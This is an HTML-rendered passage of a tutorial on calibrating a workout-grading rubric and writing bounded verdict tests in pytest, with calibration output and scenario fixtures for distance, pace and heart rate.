&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; seed.py&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; calibrate.py&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;EXIT=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Calibration - 48 graded records&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metric         A   B   C   D   F     n  verdict&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;-----------------------------------------------&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;distance      31   8   3   0   6    48  ok - 4/5 bands used, A 65%, D/F 12%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pace          31   8   3   0   6    48  ok - 4/5 bands used, A 65%, D/F 12%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;hr            26   8   8   0   6    48  ok - 4/5 bands used, A 54%, D/F 12%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;overall (informational, not gated)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  letters: A=24  B=15  C=3  D=3  F=3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  F-cap fired on 9/48 (19%)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;OK - every graded metric still uses its bands.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;EXIT=0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A clean run proves nothing until you have watched it fail. Open &lt;code&gt;rubric.py&lt;/code&gt;, change &lt;code&gt;SCALE&lt;/code&gt; in &lt;code&gt;hr_deviation&lt;/code&gt; from &lt;code&gt;28.0&lt;/code&gt; to &lt;code&gt;200.0&lt;/code&gt;, which makes the heart-rate ceiling so forgiving that nothing can breach it, and re-run:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;hr            42   6   0   0   0    48  FAIL - dead bands - C, D, F never used&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            governed by: GRADE_BANDS, NOISE, SCALE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then swing it the other way, &lt;code&gt;SCALE = 2.0&lt;/code&gt;, so a single beat over the cap is catastrophic:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;hr            19   0   4   0  25    48  FAIL - dead bands - B, D never used&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            governed by: GRADE_BANDS, NOISE, SCALE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both directions caught, and the second one is instructive: at 52% D/F it slid under the punitive-skew threshold and the dead-band signature caught it anyway. Two loose checks covering each other beat one tight one you have to tune.&lt;/p&gt;
&lt;p&gt;Set &lt;code&gt;SCALE&lt;/code&gt; back to &lt;code&gt;28.0&lt;/code&gt; before continuing.&lt;/p&gt;
&lt;h2&gt;The other half: assert the verdict, not the float&lt;/h2&gt;
&lt;p&gt;The gate finds a scale that has collapsed. It cannot tell you that a specific run got the wrong letter, because it never looks at any single record. That is what verdict evals are for, and the design decision that makes them survive is to declare &lt;strong&gt;bounds&lt;/strong&gt; rather than exact letters. A bound is the real contract, “this run deserves at least a B”, and it survives ordinary recalibration; an exact letter fights every tuning pass and gets deleted within a month.&lt;/p&gt;
&lt;p&gt;Save as &lt;code&gt;test_verdicts.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Verdict evals: what grade does this record DESERVE.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pytest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rubric &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_POINTS, base_letter, grade_record&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BASE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance_m&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8000.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;target_distance_m&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8000.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;pace_s_per_km&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;360.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;target_pace_s_per_km&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;360.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;avg_hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;130.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;cap_bpm&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;140.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;intent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;easy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SCENARIOS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;obedient_clean&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: BASE,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # The one that started this: the average obeys the ceiling, but the run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # spent most of its time a beat or two over it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;straddling_the_cap&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BASE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;avg_hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;141.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;cap_blown_hard&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BASE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;avg_hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;158.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # An easy day run slower than target is compliant, not a miss.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;easy_run_slow&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BASE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace_s_per_km&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;402.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;distance_way_short&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BASE, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance_m&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;4200.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EXPECTED_VERDICTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;obedient_clean&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Distance, pace and heart rate all on prescription with room to &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;spare. There is no defensible reading in which this is not an A.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;straddling_the_cap&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;One beat over a stated 140 ceiling is sensor noise, not &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;disobedience. Anything below a B here means the metric is &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;punishing measurement error.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;cap_blown_hard&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;max&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;18 bpm over a stated ceiling, sustained. The cap has to bite &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;here, or the straddling fix has simply disabled the metric.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;easy_run_slow&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;An easy day is supposed to be easy. A one-sided expectation &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;must not charge for landing on the free side of the bound.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;distance_way_short&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;max&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;        &quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Roughly half the prescribed distance. A composite that still &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;               &quot;returns a B is averaging away the only thing that was asked for.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; points&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(letter):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GRADE_POINTS[base_letter(letter)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_every_scenario_declares_a_verdict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;A scenario nobody has judged is a fixture, not an eval. This is what&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    stops the suite drifting back into asserting mechanics only.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(EXPECTED_VERDICTS) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(SCENARIOS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name, spec &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EXPECTED_VERDICTS.items():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spec.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spec.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;max&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; bounds nothing&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec.get(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;why&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 40&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; does not say why&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@pytest.mark.parametrize&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sorted&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(SCENARIOS))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_scenario_meets_its_declared_verdict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    spec &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EXPECTED_VERDICTS[name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    overall &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_record(SCENARIOS[name])[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spec:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(overall) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; points(spec[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;min&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]), (&lt;/span&gt;&lt;/span&gt;
